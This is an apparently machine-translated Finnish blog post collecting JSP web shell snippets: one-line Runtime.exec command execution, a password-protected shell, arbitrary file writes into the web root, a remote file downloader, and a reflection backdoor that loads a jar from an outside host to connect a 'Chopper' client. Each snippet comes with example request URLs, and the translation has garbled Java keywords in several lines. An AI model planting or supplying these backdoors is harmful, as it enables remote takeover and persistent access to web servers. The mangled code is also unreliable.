|
|
Julkaistu 2.1.2015 18.46.57
|
|
|
|

Siirretty: http://p2j.cn/?p=1627 1. Suorita järjestelmäkomennot: Suorita järjestelmäkomennot ilman kaikua: <%Runtime.getRuntime().exec(request.getParameter("i"));%> Pyyntö: http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls Suorituksen jälkeen ei kuulu kaikua, mikä on erittäin kätevää pomppukuorille. Salasanan varmistuksessa on kaikuja: <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; tavu[] b = uusi tavu[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); }%> Pyyntö: http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls
2. Koodaa merkkijono ja kirjoita se määritettyyn tiedostoon: 1: <%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes());%> Pyyntö: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Kirjoita web-hakemistoon: <%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes();%> Pyyntö: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 2: <%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Pyyntö: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Kirjoita web-hakemistoon: <%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Pyyntö: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 3: Lataa etätiedosto (jos et käytä Apache io -sovelluksia, et voi muuntaa syötevirtaa tavuksi, joten se on hyvin pitkä...) <% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); tavu[] b = uusi tavu[1024]; java.io.ByteArrayOutputStream baos = uusi java.io.ByteArrayOutputStream(); int a = -1; kun ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %> Pyyntö: http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png Lataa verkkopolkuun: <% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); tavu[] b = uusi tavu[1024]; java.io.ByteArrayOutputStream baos = uusi java.io.ByteArrayOutputStream(); int a = -1; kun ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %> Pyyntö: http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png Neljä: Heijastus kutsuu ulkoista purkkia, täydellistä takaporttia Jos et pidä yllä olevasta takaoven toiminnosta, joka on liian heikko ja vanhentunut, voit kokeilla tätä: <%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null, new Object[]{ request.getParameterMap()})%> Pyyntö: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A
Keittiöveitsen liitäntä: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar, salasana 023.
Ratkaisu: Käytä heijastusta ulkoisen jardin lataamiseen nykyiseen sovellukseen, ja heijastus suorittaa tulostuskäsittelyn. request.getParameterMap() sisältää kaikki pyydetyt parametrit. Koska ulkoinen jar-paketti on ladattu, palvelimen on pystyttävä käyttämään tätä jar-osoitetta. |
Edellinen:TXT-tekstitiedoston taustalla oleva kriisiSeuraava:Java MD5 -salaus, Base64-salaus ja purku Java suorittaa järjestelmäkomentolähdekoodia
|